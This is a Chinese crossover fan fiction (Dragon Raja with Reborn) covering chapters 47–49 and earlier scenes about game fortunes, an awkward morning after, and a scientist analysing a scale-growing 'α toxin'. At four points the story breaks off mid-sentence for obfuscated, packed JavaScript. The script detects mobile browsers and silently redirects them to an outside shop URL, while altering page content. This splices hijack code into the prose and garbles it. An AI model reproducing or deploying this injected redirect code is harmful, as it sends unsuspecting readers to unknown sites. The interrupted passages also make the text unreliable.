凯撒心说完了,这是彻底折了呀。 路明非心说骗鬼呢,那么大一女巨人会看不见? 唯有楚子航冷静开口:“所以现在的状况是学妹单恋TUNA么?” 艾莎(脸红):“才不是!” 路明非&凯撒(恨铁不成钢):“就是啊!” 9.三人组针对TUNA的猜测 小师妹对TUNA的现实状况一无所知。出于职业素养,三位师(ba)兄(po)就TUNA的现实身份展开了一系列严肃的讨论。 凯撒推断TUNA可能是个忙碌的打工仔,中产阶级或中产以下。且不可能是意大利人,否则早就该满嘴骚话撩个不停了。虽然不想承认但大部分意大利男人都像他那个种马老爹。 楚子航认为无法保证上线时间的不一定就是工作忙碌的成年人。游戏的年龄限制是16,对方很有可能是有升学压力的高中生。且单纯排除一个国家没有意义,数据显示这款游戏的中国玩家占到五成,概率学的角度上说TUNA更可能是中国人。 路明非表示工作国家都是次要的。这可是游戏,虽然和小师妹结婚了但TUNA不一定性别为男啊,一般这种可爱型的角色不都是妹子反串么?万一TUNA是个妹子怎么办? 最关键的是——会看上这种威武女巨人的性别为男的生物现实里真的能要么? 路明非严肃认真地指着游戏机。 嗯。最后他们三个都奶错了。 10.占卜 关于TUNA的讨论在小师妹鬼气森森的深情凝望下被迫终止。 “欸欸,金枪鱼来消息了!”路明非说。 TUNA用的是英语。不过从他每个单词都认认真真打出来不用缩写来看应该不是母语者。 路明非低头再看,奈何眼前一花。只见小师妹饿虎扑食,再反应过来的时候她已经回到了自己的座位上,游戏机也回到了她手里。 “路明非你的近战还是要锻炼啊!”凯撒不忘组长本职,语重心长。 三位师兄殷殷切切望向师妹。 “旦…TUNA问我最近的游戏活动而已!”小师妹语速飞快,“说起来最近在办的是占卜活动请的是世界闻名的占卜学家泡泡大师测过的都说特别准二师兄楚师兄凯师兄要试试看么?” 如此生硬的话题转移如今也不多见了。 三位师兄从善如流。 11.结果 游戏采取的是多语言系统。由于小师妹的默认语言是中文,所以占卜结果也以中文显示。 凯撒: 事业:五星 健康:五星 桃花:二星 一句话运势:花好月圆人长久,最近出差要小心~ 楚子航: 事业:五星 健康:四星 桃花:一星 一句话运势:离而复合,破镜重圆,最近出差要小心~ 路明非: 事业:五个暗黑骷髅 健康:五个暗黑骷髅 桃花:五个烟花丘比特 一句话运势:五月初十,宜动土,入殓,安葬;忌饮酒。 12.三人的反应 “喔,花好月圆人长久。用你们中国人的话来说,这是吉祥话啊。”凯撒挺满意。 楚子航默默递出游戏机,什么也没说。 路明非炸了。 “这不对吧!?为什么轮到我的时候连计数单位都变了?骷髅是几个意思啊喂,是说我会死么!?这绝对是在说我会死吧?看起来它连日子都给我定好了啊!?” “二师兄你这是稀有运势诶。”小师妹拿来看了一眼,“我看看暗黑骷髅的意思是……喔,‘霉运冲天,绝对会死’……” “不要用这种古井无波的语气读这么吓人的句子啊喂!”路明非扭头向凯撒,“老大你看你和师兄运势里也说什么出差小心的鬼话。要我说咱立即返航——邪门,这趟太邪门了!” “但你看你桃花也不一般,”凯撒给他做思想工作,“万一这趟下来,有什么日本美少女主动投怀送抱……” “日本美少女哪有命重要!”路明非坚定坚决。 这时机舱内广播响起,王牌飞行员边嚼口香糖边含糊道:“专员们收拾收拾,还有半小时抵达了哈;重复一遍,专员们收拾收拾,还有半小时抵达了哈……” “看来现在返航也来不及了。”凯撒半开玩笑地耸了耸肩。 13.衰仔与桃花 路明非把游戏机还给小师妹。 “话说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658807|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师妹你不占个运势么?” 小师妹摇了摇头,“道具消耗光啦,我过几天再占卜也没事,反正活动到下周才结束。” 说完,她就重新埋首游戏……看表情估计是在和金枪鱼聊天。 凯撒重新拿出电脑,楚子航也再度闭目养神。机舱内重回安静。 路明非靠在舷窗上胡思乱想。其实他倒也不担心什么暗黑骷髅,反正他的命有一半已经握在小魔鬼手里,真遇到危险大不了再换四分之一……那样他自己也还有四分之一。 可那样他就只剩下四分之一了。 他觉得自己像个家道中落的老财主,掰着手指头算家里的财务情况,怎么算都是一个破产。 至于什么桃花……路明非感到心里的气球被一根针扎了一下,漏气漏得噗噗作响。 第一个想到的还是诺诺。但他已经没那么喜欢诺诺了,或者说他不能再喜欢诺诺了。人师姐和老大多般配啊……巫女配魔王,养眼又拉风。根本没他掺和的余地。 但是也很难想象之后出现一个女孩,随随便便就取代诺诺在他心里的位置。 虽说以前暗恋陈雯雯的时候他也这么想。那会儿别说说一句话了,陈雯雯看他一眼就觉得天长地久,世界都安静了……妈的,这话听起来真舔狗。路明非在心里唾弃自己。 所以桃花什么的,果然还是诓人的吧? 路明非胡思乱想着,最后居然将头倚在舷窗上,沉沉地睡着了。 14.聊天 【芝加哥斩铁剑】:旦那抱歉,本来说好一起做任务的。但是临时有事,估计要到这周末才上线啦。 【芝加哥斩铁剑】:不对也可能是下周。 【芝加哥斩铁剑】:或者下下周。 【芝加哥斩铁剑】:唔,总之不要等我。 沢田纲吉刚从浴室出来,就看见聊天界面上接二连三的闪烁。 他随意地擦了擦头发,水珠顺着耳廓滚落至锁骨,又滑落进领口深处。 【TUNA】:没关系。 【TUNA】:这几天我正好有空,任务我来做就好。 【TUNA】:放心去忙吧。 【TUNA】:发送表情.jpg 对方正好在线,消息回得很快。 【芝加哥斩铁剑】:那就拜托旦那了! 【芝加哥斩铁剑】:话说打材料嘛? 【TUNA】:ok 沢田发送了组队邀请,在队伍界面见到斩铁剑后,他照例给他头顶标了一颗星星。 游戏里巨人体型与野怪相近,又是近战,有时不太好区分。但这样一来就不用担心空奶了。 沢田纲吉在窗边的沙发上坐下。 窗外的东京城灯火通明。 15.芝加哥斩铁剑 斩铁剑是一年前在游戏里认识的伙伴。 说起来,当初收到结婚邀请时沢田纲吉还犹豫了一下。因为工作关系,他不可能天天上线,而且也不该与普通人有过多交往。 好在斩铁剑似乎也抱持着“游戏与现实分开”的想法。两个人聊的都是游戏里的话题,一直以来都维持着一种恰到好处的距离感。 这么长的一段时间过去,沢田对斩铁剑的印象也从最开始的“合伙拿奖励”转变成为“相处不错、有默契的朋友。” 并且因为对方是自己认识的为数不多的普通人之一,沢田对与斩铁剑的友谊也怀着一股不足为外人道的珍惜之情。 虽然没有见过面,也不怎么聊现实中的事,但他猜测对方应该跟自己年龄差不多,是个工作忙碌,性格开朗、又有点恶趣味的小伙子。 ……嗯,超直感失灵。沢田这次也全奶错了。 他们打了差不多四十来分钟的材料,斩铁剑就匆匆下线了。 沢田纲吉随手打开电视,里面正播报紧急新闻,似乎是神奈川县的警察正在追捕涉嫌非法入境的犯罪团伙。团伙武装充分,引得爆炸连连。 他看了一会儿放送,兴致缺缺地叹了口气。 ——也不太平啊,东京。 49. 第47章 鸵鸟 再次睁开眼睛的时候,世界好像发生了变化。 不要说桌上摆放的花叶弧度、还有沙发布料的纹路这种细节,就连空气中每一粒灰尘的运动轨迹都变得无比清晰。 不,不只是视觉而已。 楼道推车经过的声音、楼下汽车发动的声音、花园的鸟鸣还有海边的浪潮声……这些细碎的声音经由耳朵传入大脑,又自发拼接组合成完整的图像。 神清气爽。一切变得尽在掌握之中。 “这种感觉……难道就是传说中的深度睡眠……” 真是久违了。 艾莎呆坐着愣会儿神。片刻后她视线下移,看到了身上盖着的西装外套。 浅灰色的西装外套,摸上去柔软细滑,一看就知道做工精良价格不菲。 并且拜睡到自然醒后空前敏锐的嗅觉所赐,可以很轻易的闻到上面淡淡的花香。 本应被一丝不苟穿在褐发青年身上的外套。还有他身上清浅好闻的味道。 “啊……” 艾莎缓慢地眨了一下眼睛。 昨天晚上的事自然而然的在脑中涌现。 【“我才不相信纲吉君说的话,纲吉君在骗我。” “没想到纲吉君居然是这么阴险狡诈的家伙!”】 扶住额头的手开始微微颤抖。 “啊啊……” 【“嗯,我在骗艾莎。” “那么艾莎,要选择被我这个阴险狡诈的家伙骗么?”】 大脑好像完全宕机了一样。 “啊啊啊……” 【“……要的。”】 等、等等!不要再回放了快住手! 【“如果纲吉君能够一直保持像现在这样的‘演技’的话——那我被骗根本是无可奈何的事情了。”】 “啊啊啊啊啊啊啊啊啊啊啊——” 她不由自主地蜷起身体以头磕膝惨叫出声——这种上世纪少女漫画里才会出现的羞耻台词,她昨天到底是怎么说得出口的啊啊啊!?而且还说得那么真情实感! 还有纲吉君!他究竟是出于怎样的心情才会那么配合她啊!? 记忆的回放根本不受控制。 沢田温润的嗓音好像就在耳边。那双漂亮的暖棕色眼睛也仿佛近在咫尺。 【“在我心里,艾莎一直都是一个善良、干净、温柔的人。” “无论眼睛是什么颜色,身体里流淌着怎样的血液。” “对我来说,也是非常重要的人。”】 “……” 艾莎像鸵鸟一样把头埋进了膝盖里。 太羞耻了。完全超出负荷。大脑变成乱糟糟的一团。 学院是不是和NASA有合作项目来着,干脆就这么申请成为宇航员永远地离开地球算了。 她要为人类文明的进步做出贡献。太阳!就让她去探索太阳! 说到太阳、现在是不是就有两个太阳正在她的耳蜗深处熊熊燃烧来着? “……唔、” 又过了良久,艾莎才勉强从喉咙里挤出一丝幼猫似的哼哼。 鼻尖又嗅到那股淡淡的花香。 跟刚才相比,似乎变得浓郁了一点。就像沢田的拥抱一样。 ……对哦,现在这种蜷缩的姿势,沢田的外套不就完全被她抱在怀里了嘛。 意识到这一事实后,好不容易积攒的(重新做人的)勇气瞬间烟消云散。 可恶,她到底在想些什么啊!? 像是要惩罚此刻脑中产生的种种联想般,她的头在膝盖上重重磕了一下。 停顿一会。又重重地磕了一下。 “果然……还是重新投胎比较快吧……” 她相当暴躁地抓了抓头发,然后绝望的如是喃喃道。 -- 俗话说得好,怕什么来什么。 她的心理建设才做到一半,就有医护人员轻轻敲门,说“十代目大人请您过去一趟。他在三楼的办公室等您。” 就在艾莎犹豫不决地望向仍在昏睡的雅纪时,医护人员又细心补充一句,说是这期间会有专人妥善看顾。想来是沢田早有嘱托。 正事要紧。尽管十二万分不想面对这个世界,她还是深吸一口气,朝三楼走去。 办公室的门没有关。除了沢田以外,之前见过的狱寺隼人也在里面。二人正低声交谈,看神情应该是在说工作上的事。 沢田仍是一整套西装。暗红色的领带搭配平整的白衬衫,外套是深灰色的,这种低饱和的颜色很衬亚洲人的白皙肤色,而且显得内敛成熟……老实说,看到他的的确确穿着一件外套,她着实松了口气。虽然她也不知道是为什么。 艾莎本想在外面等。可沢田纲吉一下就看到了她。 他朝她微笑一下,做个手势示意她直接进来,接着才又继续与狱寺的谈话。 艾莎挠挠头,眼观鼻鼻观心的到一边的沙发上坐下。一旁的狱寺倒是皱了皱眉,似乎并不赞成沢田的安排,只是来不及说什么。 他们的谈话很快到了尾声。 “那么,接下来的两天就拜托隼人了。” “是。请放心地交给我吧,十代目。” 已经成长为出色左右手的岚守恭敬地欠了欠身,但却没有立即离开。 他先是瞥了一眼沙发上的女人,像是在衡量能不能让她听见接下来的话。短暂的思考过后,还是低声问道: “十代目……肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658808|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不舒服么?” “欸?”沢田纲吉愣了一下。 “刚刚进来的时候看见您在揉肩膀,”心细如发的岚守皱着眉关切道,“长期伏案的话的确会这样,尤其最近事情很多。待会儿请去医务室看一下吧。” 闻言,沢田还没来得及有所回应,就和一脸呆滞望过来的艾莎目光相触。 “啊、嗯……我知道了。” 他有些不自然的微微偏移了视线。 -- 狱寺离开后,他们也并未在办公室久待。沢田带着她来到楼道尽头的电梯——电梯的位置藏得很隐蔽,大概并不是面向所有人开放的。 身在不算大的密闭空间内,两个人一时都没说话。 可恶啊,沉默的时间是不是有点太久了?这时候果然应该说点什么才是。 艾莎暗自握拳。不如问问沢田有没有间歇性失忆的毛病好了——比如会不会根本不记得昨天晚上她说的话之类的。 她的思绪越飘越远,殊不知自己望天望地就是不望人的诡异表现早已全然落入某个褐发青年眼中。 ——绝对是在纠结昨天晚上的事。说不定现在还在想他如果能失忆就好了。 看到女孩悄然红透的耳根,沢田纲吉非常笃定地想道。 他心里有些好笑。其实早上的时候他也在自省,觉得昨晚说的话会不会过于亲密了一些。只是现在看到女孩暗自纠结的样子,反而是某种促狭的心情占了上风。 “艾莎……没事吧?今天好像跟往常不太一样。”他以一种全然无辜的语气轻声问道。 “没没没没没事!”女孩先是下意识一个立正抬头,但在看清他的表情后,很快又垂首闷闷道,“…纲吉君是故意这么问的吧!?” “被发现了?”他轻笑一声。 “太明显了……不过事到如今你还要再增加腹黑属性么……等等,为什么意外的一点也不违和?” 她碎碎念着他也听不太清的吐槽。不过从能顺利进行对话来看,好歹是恢复了一些精神。 “说起来,纲吉君带我来这里真的没关系么?”艾莎道。 电梯还在向下。这种轻微的失重感并不陌生。 学院的冰窖就建在地底,但那里是整个学院警戒最严密的地方。两相比较,现在他们要去的地方怎么想也都该算是彭格列的核心机密所在。 “没关系,艾莎是可以信任的人。”沢田纲吉温声答道。 听到他不假思索的回答,艾莎有些不好意思地摸了摸鼻子。 好吧……她在心里想道。为了不辜负沢田的信任,她好歹得恢复到能若无其事跟他说话的程度才行。 不过这件事也不像想象中那么难就是了。 50. 第48章 血统污染 戴着手套的手攫住不断挣扎的白鼠,将一滴暗红色的液体滴入其吻部。 手掌松开。白鼠一跃而出。 然而,它向前逃窜的动作很快顿住。就像被什么不可视的东西操纵一般,白鼠的背部高高耸立,毛发倒竖。它的四只爪子疯狂地抓挠着工作台。 房间里逐渐响起刺耳的“呲呀”声。 不可思议的变化发生了。 一排鳞片自白鼠尾部末端钻出,并且沿着它的背脊不断向上攀爬生长。比起盔甲,这些鳞片更像是进攻中的毒蛇,不顾一切的撕咬着这只可怜的哺乳动物,所到之处皮开肉绽。 很短的时间后,白鼠停止了挣扎。 这时鳞片几已覆盖它的全身。有细小的血腥味在空气中弥散。 ……是‘血统污染’。艾莎默默得出结论。 龙族基因是吞噬一切的东西,被激发时甚至会自主修改人类基因。这也是为什么混血种在‘爆血’时会出现龙化的特征。 这样的侵蚀当然也对普通人类奏效。只是他们的身体无法承受龙血的力量,只会变得更加脆弱。 她以前也处理过类似的案例。当时在墨西哥有毒.枭萃取龙族血清制作毒.品,吸食者最后会堕落成半人半鬼的样子,浑身长满鳞片、乃至无法动弹。 只是虽说性格会变得疯狂,但实际上的攻击性实在不值一提……再联想到乌鸦身上的伤口,艾莎隐隐有了种不祥的预感。 “我就单刀直入地说了,”手套的主人冷冷道,“根据分析,试管里的液体是一种混合物,其中70%的成分与血液相同。问题是剩下的30%。” 他的声音带着手术刀般的特质,精准地剖开外在,抵达核心。 “我在里面找到一种陌生的成分——或者说毒素——因为具有不可思议的侵蚀性,所以我把它称作α。α毒素的侵蚀是基因层面的。如你们所见,它能轻松的把一只哺乳动物改造成爬行类。” “仅从白鼠身上获得的实验结果来看,这种改造更多是外在的。不仅无法强化□□,而且还会加速崩溃。”说着,他开始阐释一些复杂的基因学知识。但在看到对面两个人变得愈发茫然且跟不上节奏后,他立即闭上了嘴,一脸“我为什么要浪费这种时间”的厌烦嘴脸。 “简单来说,”他不情不愿地解释道,“□□无法承受这种粗暴的基因修改。如果现在解剖这只老鼠,你会发现它的心脏外部同样长满鳞片,所以刚才它无法动弹——这些鳞片像刀一样切割它的内脏,它因无法承受这种痛苦而死亡。” “……如果喝下液体的是人呢?”沢田纲吉低声问。 他盯着那具长满鳞片的鼠尸。那些鳞片在白炽灯下冷冷闪动着金属般的光泽。 “怎么,reborn没教过你初中生物么?”胡子拉碴的科学家冷哼一声,“老鼠的基因组成与人类最为相似,前者20对染色体,后者23对,有80%的基因完全一样。所以医学试药会选择老鼠而不是跳蚤——” “——综上所述,即使作用对象是人类,结论也不会有任何改变。这种液体具有一种把普通人类变成蜥蜴尸体的无聊功效。当然,如果你愿意解除人体试验的禁令,”科学家非常嘴上不饶人,“我们也可以实际验证一下。” 闻言,沢田脸上浮现出讪讪的神情。 “但纲吉君说过,洛克首领把它当作最后的底牌。”艾莎说,“他总不可能是想来一场别开生面的自.杀派对。” 她顿了顿,又道: “而且拉尔夫在喝下它以后,似乎在短时间内具备了极强的攻击性。” 否则以乌鸦的身手,绝不可能被拉尔夫伤到,即便那是猝不及防的偷袭。 “两种可能,”科学家说,“第一种,洛克被人蒙骗,那两个人手上的液体不是同样的东西。但是很遗憾,我比对了两支试管内的残留液体,这种可能性基本不存在。” “第二种,”他推了推眼镜,镜片的反光遮挡住了他眼中的情绪,“如果在基因修改的过程中,α毒素被人体内的某种‘能量’中和……那么达到一种扭曲的‘平衡’状态,也不是不可能的事。” 他话里的暗示意味非常明显。 “很简单的推理思路,不是么。”科学家淡淡道,“要说洛克与普通人最大的不同,当然是他体内的‘死气之火’。” “……你是说死气之火可以抵消…抵消α毒素的侵蚀作用?”艾莎的眼睛微微睁大。 “不,大概率只是延缓。”科学家似乎不想深入这个话题,“人的□□不可能在短时间内承受如此粗暴的基因修改,崩溃的结局是不可逆的。但在这一过程中,或许能够达到某种短暂的平衡。” “这其中的变量很多,我就不一一解释了。”他瞥了艾莎一眼,“…况且你们的目的应该也不是搞清α毒素与死气之火间的联系吧?” 沢田纲吉接过话茬,“那么关于雅纪?” “我提取了那孩子手术时的血液,从里面可以找到低浓度的α毒素。如果再加以萃取提炼,大概率就能得到试管中的液体。”科学家停顿一下,“结合你给我的那些资料,整个实验过程也不难猜。” 他没做过多解释,而是递给沢田纲吉一沓不厚的文件。 “这会对他的身体造成多大的负担?”沢田继续问道。 “他的血液、或者说基因与常人不同,反而可以承受α毒素的毒性。”科学家说,“但也不是能够完全抵抗侵蚀。如果就这么放任不管,大概要不了多久就会失控崩溃。” “但是现在还可以挽回?” “当然。”科学家露出一种半是自傲半是鄙夷的神情,“说到底只是些不入流的实验手段。要想破解并不难。” 接着,他又干脆地补充道,“但仅凭你现在给我的材料,做不到。我需要全部的实验记录。” “…我明白了。”沢田纲吉说,“我会把你需要的东西补齐。雅纪的事就拜托你了,威尔帝博士。” 年轻的首领郑重其事地表达了感谢。 “我只是还之前欠下的人情。”科学家笑了笑,有点奸诈又有点冷淡的样子,“这几天我都会在这里。没什么其他事的话,走的时候记得带上门。” 他全程表现出一种公事公办的冷漠,好像对α毒素以及雅纪基因本身的异常提不起丝毫兴趣。 就连讨论的话题也一直维持在“试管”与“实验”本身,绝不深入半点……可以说是恰到好处得过了头了。 这么想着,沢田纲吉难免有些惊诧。但他没有表露出来,只是微笑着再度道谢。 -- “……唔喔,你们彭格列的科学技术简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658809|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先进到不科学……”艾莎喃喃道。由于过于震惊,她完全没能参与进沢田与威尔帝的后半截谈话当中。 如果她的理解能力没有出错,威尔帝的意思是他能够轻而易举地解决雅纪的血统失控问题。 这是秘党中最精锐的研究者也无法做到的事。倘若古德里安教授在这里,想必已经激动得浑身抽搐满面红光了。 “威尔帝是Mafia中首屈一指的科学家,在生物学领域的造诣尤其深厚。”沢田纲吉想到他拥有的“达尔文再世”的外号,“其实关于试管的研究,最稳妥的办法是交由彭格列的科研部门进行。只是考虑到时间紧迫,所以才拜托给威尔帝。” “啊,他不是彭格列的人么?” “不。但是是可以信任的人。非要说的话,威尔帝是reborn的……”朋友?伙伴?曾经的伙伴? 沢田斟酌着斟酌着就卡了壳。老实说他自己对于彩虹之子的事都是一知半解。虽然平时表现得不算明显,但reborn他们对这件事讳莫如深。 即使是诅咒已经解开的今天也是一样。 “确实,有种和reborn相似的感觉呢。”意识到这个话题可能触及什么复杂的秘辛,艾莎没再追问,只是心领神会地点了点头。 从那位绿色头发的科学家身上同样可以感受到某种时间性的违和感,只是与reborn又稍有不同。 如果说reborn是外表年轻、实际看不出年纪的话,那位科学家就是外表年轻、实际相当年长。明明没有皱纹也没有秃顶,却神奇的给人一种“已经五十岁了”的老成感。 “话又说回来,纲吉君没有把混血种的事告诉威尔帝么?” 这也是她刚才保持沉默的另一原因。既然威尔帝是顶尖的科学家,那么他几乎不可能在研究时忽略雅纪基因上的异常。 然而在刚才的交谈中,他完全没有表露出对混血种的好奇与研究欲望。这与艾莎印象中的科研工作者大相径庭。她不知道是不是沢田提前说了什么。 “没有。我认为混血种与龙的事,最好不要让第三个人知道。”沢田轻声道,“否则会给艾莎带来麻烦吧?” 虽然她没说过让他保密之类的话,但从艾莎与乌鸦的只言片语中,也不难推测出秘党是怎样性质的组织。这样的组织对待泄密者不会仁慈。 “欸?唔、还好啦……”艾莎含糊地说。她没想到沢田还有这层考量在,顿时有点不知所措。 “不过我也没想到事情会……这么顺利。”沢田微微摇了摇头。 考虑到威尔帝在匣兵器研究上所表现出的那种异于常人的狂热与执着,在沢田纲吉原本的预期中,今天的情况会棘手得多。 他甚至已经想好了种种对策,打定主意要限制住这位“名声在外”的科学家对混血种可能产生的研究欲望。 然而没料到的是,他的准备似乎全无必要。 是不是reborn预先说了什么呢?沢田脑海中闪过这样的疑虑,但一想到reborn和威尔帝之间不甚融洽的关系,又无法确定。 “所以我们现在需要的是找到拉尔夫的实验记录?”艾莎在这时向他确认。她没有忘记威尔帝最后说的话。 “嗯。”沢田纲吉收回心神,“在这之前,我们最好先复盘一下整件事的经过。” 51. 第49章 复盘 “五年前,赫尔佐格独自来到西西里岛,并参加了纲吉君的继承仪式。也许正是那时候,他察觉到了死气之火的力量。”艾莎道。 出于种种原因,她甚至不想让沢田说出‘赫尔佐格’这个名字。 “但赫尔佐格那时还是蛇岐八家的大家长,无法长期离开日本。所以他派同样没有血统的拉尔夫来到西西里岛,命令他与这里的mafia接触,并偷偷调查死气之火。” “之后,拉尔夫通过德维尔加入了【game】。”沢田纲吉眼中划过一丝冷厉。 根据伊凡·德维尔的供述,【game】由他在更早以前创立,而拉尔夫是在五年前加入。 对于知道龙族秘密的拉尔夫来说,想要利用伊凡·德维尔简直是轻而易举的事。他很快就成为【game】实际的操纵者。 “他很可能掌握了某种刺激血统觉醒的方法。”艾莎想到了营救克里斯蒂娜时看到的幻象,后来她才知道那些幻觉其实只针对她本人。 “在拉尔夫的推动下,【game】聚集了一帮低血统的混血种。” 说着,艾莎一顿。她刻意避开了阿尔伯特的事。 先前沢田提到阿尔伯特遇害的情境时,只隐晦说“样子很糟糕”。 等她开始查阅关于【game】的资料,才明白沢田纲吉口中的“糟糕”究竟是什么意思。 尸体损毁得很严重。血液被彻底放干、内脏被完全剥离……皮与骨头整整齐齐地堆叠成两堆分别摆放,与黏连部分皮肤与毛发的颅骨形成一个等边三角形。 由于凶手预先做了防腐处理,这种惨状自然与野兽无关。现在想来,这大概率是由伊凡·德维尔极端扭曲的宗教观念与拉尔夫对死气之火的狂热研究欲共同促成的结果。 而抛弃尸体是为了转移视线。受害人是彭格列继任者的意语老师,一开始所有人都以为这是一场针对Ⅹ世与彭格列的报复行动。 就像里世界经常发生的其它惨剧一样。 他们或许没料到沢田会那么执拗地调查阿尔伯特的死因,甚至到了不惜与家族高层翻脸的地步。 然而彼时【game】的高级玩家已逐渐壮大,再加上雅纪的存在,拉尔夫已有了足够的实验材料。所以同样是在五年前,【game】销声匿迹。 “…那些高级玩家手臂上有很多针孔。最初我们以为是伊凡·德维尔用毒.品对他们加以控制,可尸检报告显示他们并没有毒.瘾者常见的体征。”沢田纲吉垂眸,“这些针孔是为了采血。” 这些混血种被刻意豢养,然后被定期采集血液。 就像一群被精心饲养的种猪。 “如果是想要提炼混血种的血液、让其达到古龙血所具备的那种污染效果,大概不需要花费太长时间。很久以前就有人做到过。”艾莎顿了顿,“…虽说并不是从低血统的混血种身上。” “拉尔夫的目的不一定是单纯的提纯血液。”沢田纲吉说,“赫尔佐格还让他梳理……混血种的进化道路,对不对?” 他有些生涩地说出这个名词,然后便注意到艾莎变得有些沮丧。 “怎么了?” “……不,只是觉得还是让纲吉君提到这个名字了。”她撇了撇嘴。 沢田纲吉不由失笑。 “等等,”艾莎突然反应过来,“纲吉君是怎么知道这件事的?” 她倒不怎么惊讶赫尔佐格交待拉尔夫的任务——自古以来针对混血种的研究也就是围绕那么几个主题。由于其所伴生的历史血腥又肮脏,她不怎么跟他提起。 闻言,沢田纲吉有点歉然地低头看着她。 “事实上……我自己去见过一次佐伯先生。” 先前威尔帝给了他一列清单。他思忖再三,没有打扰艾莎,而是独自去找了乌鸦。 一方面,当时她正寸步不离地守在雅纪身边,且看上去精神消沉;另一方面,乌鸦也不只有混血种的身份而已——既然有混血种之间才能谈的事,当然也就有里世界的彭格列与蛇岐八家才能谈的事。 说他半吊子也好优柔寡断也好。即使是知道艾莎混血种身份的现在,他仍旧不希望她在这个世界涉足过深。 由于陷入回忆,沢田难免有些走神。然而等再回神的时候,却猝不及防地对上了艾莎那双冰蓝色的眼睛。 “……等等等等。你们说了什么?”她眼睛一眨也不眨地盯着他。湖面一样清澈的蓝色,他好像能在她的瞳孔中看清自己的倒影。 ——他的倒影看起来相当局促。 ……距离、是不是有点太近了? 眼睛也就算了。因为微微仰头的缘故,离得更近的反而是她的嘴唇。 女孩子的唇色不都应该是红红的么?可她的看起来没什么血色,下唇微微起皮,显得干涩——刚刚是不是应该给她倒点水呢? 沢田纲吉感到自己的喉结缓慢地滚动了一下。他不着痕迹地退开两步,但女孩就像完全没察觉到他的意图似的,居然紧跟着前进了两步。 “乌鸦跟纲吉君……说了什么?”她锲而不舍的再次追问道。 是关于蛇岐八家的前任大家长在西西里引起事端的交涉。沢田纲吉想。 彭格列与现今的蛇岐八家都希望此事能得到快速且低调的解决,之后双方恢复井水不犯河水的关系。也因此,他们乐于为了早日促成这个共同目标而进行短期合作。 整个交谈过程难免包含诸多试探与交锋。好在最后,他们达成了双方都满意的结果。 有那么一瞬间,沢田纲吉就要把这些全都告诉艾莎了。反正也不是什么需要特意瞒着她的事。 可是看到她这样紧张的样子,他微微一愣,不知为什么又想起了那次交谈快到尾声时乌鸦说的话。 诚然这位蛇岐八家的高级干部具备一切黑.道精英所应该具备的素质,言谈时思维敏捷措辞锋利。 然而沢田还是怀疑他是不是有那么一点精神分裂(当然更可能是因为他本人得到了乌鸦的初步认可)——这位黑.道精英上一秒还眼神阴冷势如恶鬼,下一秒就突然跟他挤眉弄眼称兄道弟起来,还很殷切地表示非常敬佩他这种主动追逐人形绞肉机的勇气。说起来眼下这里就有艾ちゃん在日本某家女仆咖啡店打工的稀有照片,虽说非常珍贵但也不是不能给他——既然如此彭格列在合作的事上能不能再多让步一点呢? 当时沢田纲吉看着乌鸦脸上那种“大家都是男人我理解你你也要理解我”的淫.贱表情,脑子顿了很久都没反应过来他到底是不是认真的——话说这只是在单纯的卖队友而已吧!?而且还是以这种令人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658810|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生气的方式! 真是……神经病啊! 他感到两边的太阳穴又开始隐隐作痛。 “……纲吉君?”艾莎的声音愈发僵硬,“乌鸦跟你说了什么?” “…没什么!”这次他回答得斩钉截铁。 “不不不看这副表情他绝对跟你说了什么吧——为什么要移开视线啊喂!” 那是因为现在的距离太近了——绝对不是因为想到了照片的缘故!沢田纲吉耳根发烫。 说到底他根本不想看的他又不是变.态!是乌鸦一直拿着那张照片晃来晃去所以才会一不小心扫到了……他对妹抖根本毫无兴趣,更别提什么“在蛋包饭上施展爱的魔法”(乌鸦的原话)了——虽然都是宅但他不是那种宅! 沢田纲吉心里掀起一阵惊涛骇浪般的辩白,但他还不至于低情商到把这些话在现实里说出来。他的嘴唇略微动了动,目光在女孩脸上停留半秒。 “……我给你倒点水吧。” 最终,里世界赫赫有名的彭格列Ⅹ世如是说道。 -- 